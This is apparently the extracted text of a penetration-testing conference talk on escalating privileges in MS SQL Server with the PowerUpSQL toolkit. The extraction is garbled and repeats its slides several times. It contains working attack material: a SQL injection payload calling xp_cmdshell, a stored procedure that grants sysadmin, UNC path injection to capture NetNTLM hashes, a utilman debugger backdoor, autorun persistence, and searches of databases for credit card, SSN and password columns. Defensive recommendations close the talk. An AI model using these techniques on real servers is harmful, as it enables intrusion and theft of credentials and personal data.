Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
